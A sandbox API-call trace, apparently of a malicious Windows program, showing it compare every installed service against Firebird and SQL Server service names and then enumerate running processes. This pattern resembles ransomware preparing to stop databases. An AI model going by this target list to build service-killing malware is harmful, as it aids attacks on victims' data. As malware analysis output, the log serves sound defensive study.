	[0179.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0179.053] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0179.053] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0179.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0179.053] lstrlenW (lpString="AppXSvc") returned 7
	[0179.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0179.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0179.053] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0179.053] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0179.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0179.053] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0179.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0179.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0179.053] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0179.054] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0179.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0179.054] lstrlenW (lpString="Audiosrv") returned 8
	[0179.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0179.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0179.054] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0179.054] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0179.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0179.054] lstrlenW (lpString="BFE") returned 3
	[0179.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0179.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0179.054] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0179.054] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0179.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0179.054] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0179.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0179.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0179.054] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0179.054] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0179.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0179.054] lstrlenW (lpString="CDPSvc") returned 6
	[0179.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0179.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0179.054] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0179.054] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0179.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0179.054] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0179.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0179.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0179.055] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0179.055] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0179.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0179.055] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0179.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0179.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0179.055] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0179.055] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0179.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0179.055] lstrlenW (lpString="CryptSvc") returned 8
	[0179.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0179.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0179.055] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0179.055] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0179.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0179.055] lstrlenW (lpString="DcomLaunch") returned 10
	[0179.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0179.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0179.055] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0179.055] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0179.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0179.055] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0179.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0179.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0179.055] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0179.055] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0179.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0179.056] lstrlenW (lpString="Dhcp") returned 4
	[0179.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0179.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0179.056] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0179.056] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0179.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0179.056] lstrlenW (lpString="Dnscache") returned 8
	[0179.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0179.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0179.056] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0179.056] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0179.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0179.056] lstrlenW (lpString="DPS") returned 3
	[0179.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0179.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0179.056] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0179.056] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0179.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0179.056] lstrlenW (lpString="DusmSvc") returned 7
	[0179.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0179.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0179.056] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0179.056] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0179.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0179.056] lstrlenW (lpString="EventLog") returned 8
	[0179.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0179.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0179.057] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0179.057] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0179.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0179.057] lstrlenW (lpString="EventSystem") returned 11
	[0179.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0179.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0179.057] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0179.057] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0179.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0179.057] lstrlenW (lpString="FontCache") returned 9
	[0179.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0179.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0179.057] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0179.057] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0179.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0179.057] lstrlenW (lpString="gpsvc") returned 5
	[0179.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0179.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0179.057] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0179.057] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0179.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0179.057] lstrlenW (lpString="iphlpsvc") returned 8
	[0179.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0179.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0179.058] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0179.058] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0179.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0179.058] lstrlenW (lpString="KeyIso") returned 6
	[0179.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0179.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0179.058] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0179.058] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0179.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0179.058] lstrlenW (lpString="LanmanServer") returned 12
	[0179.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0179.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0179.058] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0179.058] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0179.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0179.058] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0179.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0179.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0179.058] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0179.058] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0179.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0179.058] lstrlenW (lpString="lfsvc") returned 5
	[0179.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0179.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0179.058] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0179.058] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0179.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0179.059] lstrlenW (lpString="lmhosts") returned 7
	[0179.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0179.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0179.059] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0179.059] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0179.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0179.059] lstrlenW (lpString="LSM") returned 3
	[0179.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0179.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0179.059] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0179.059] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0179.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0179.059] lstrlenW (lpString="MpsSvc") returned 6
	[0179.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0179.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0179.059] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0179.059] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0179.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0179.059] lstrlenW (lpString="NcbService") returned 10
	[0179.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0179.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0179.059] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0179.059] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0179.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0179.059] lstrlenW (lpString="netprofm") returned 8
	[0179.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0179.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0179.060] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0179.060] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0179.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0179.060] lstrlenW (lpString="NgcSvc") returned 6
	[0179.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0179.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0179.060] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0179.060] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0179.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0179.060] lstrlenW (lpString="NlaSvc") returned 6
	[0179.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0179.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0179.060] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0179.060] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0179.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0179.060] lstrlenW (lpString="nsi") returned 3
	[0179.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0179.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0179.060] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0179.060] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0179.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0179.060] lstrlenW (lpString="PcaSvc") returned 6
	[0179.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0179.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0179.060] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0179.060] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0179.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0179.061] lstrlenW (lpString="PlugPlay") returned 8
	[0179.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0179.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0179.061] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0179.061] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0179.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0179.061] lstrlenW (lpString="Power") returned 5
	[0179.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0179.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0179.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0179.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0179.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0179.061] lstrlenW (lpString="ProfSvc") returned 7
	[0179.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0179.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0179.061] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0179.061] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0179.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0179.061] lstrlenW (lpString="RpcEptMapper") returned 12
	[0179.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0179.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0179.061] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0179.061] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0179.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0179.061] lstrlenW (lpString="RpcSs") returned 5
	[0179.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0179.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0179.062] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0179.062] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0179.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0179.062] lstrlenW (lpString="SamSs") returned 5
	[0179.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0179.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0179.062] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0179.062] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0179.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0179.062] lstrlenW (lpString="Schedule") returned 8
	[0179.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0179.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0179.062] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0179.062] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0179.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0179.062] lstrlenW (lpString="SecurityHealthService") returned 21
	[0179.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0179.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0179.062] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0179.062] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0179.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0179.062] lstrlenW (lpString="SENS") returned 4
	[0179.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0179.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0179.062] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0179.063] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0179.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0179.063] lstrlenW (lpString="ShellHWDetection") returned 16
	[0179.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0179.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0179.063] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0179.063] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0179.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0179.063] lstrlenW (lpString="Spooler") returned 7
	[0179.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0179.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0179.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0179.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0179.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0179.063] lstrlenW (lpString="StateRepository") returned 15
	[0179.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0179.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0179.063] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0179.063] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0179.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0179.063] lstrlenW (lpString="SysMain") returned 7
	[0179.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0179.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0179.063] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0179.063] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0179.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0179.063] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0179.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0179.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0179.063] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0179.064] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0179.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0179.064] lstrlenW (lpString="Themes") returned 6
	[0179.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0179.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0179.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0179.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0179.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0179.064] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0179.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0179.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0179.064] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0179.064] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0179.064] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3cf50d8 | out: hHeap=0x6a0000) returned 1
	[0179.064] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x30c
	[0179.243] Process32FirstW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0179.244] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0179.245] lstrlenW (lpString="System") returned 6
	[0179.245] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0179.246] lstrlenW (lpString="smss.exe") returned 8
	[0179.246] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0179.247] lstrlenW (lpString="csrss.exe") returned 9
	[0179.247] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0179.248] lstrlenW (lpString="wininit.exe") returned 11
	[0179.248] Process32NextW (in: hSnapshot=0x30c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0179.249] lstrlenW (lpString="csrss.exe") returned 9
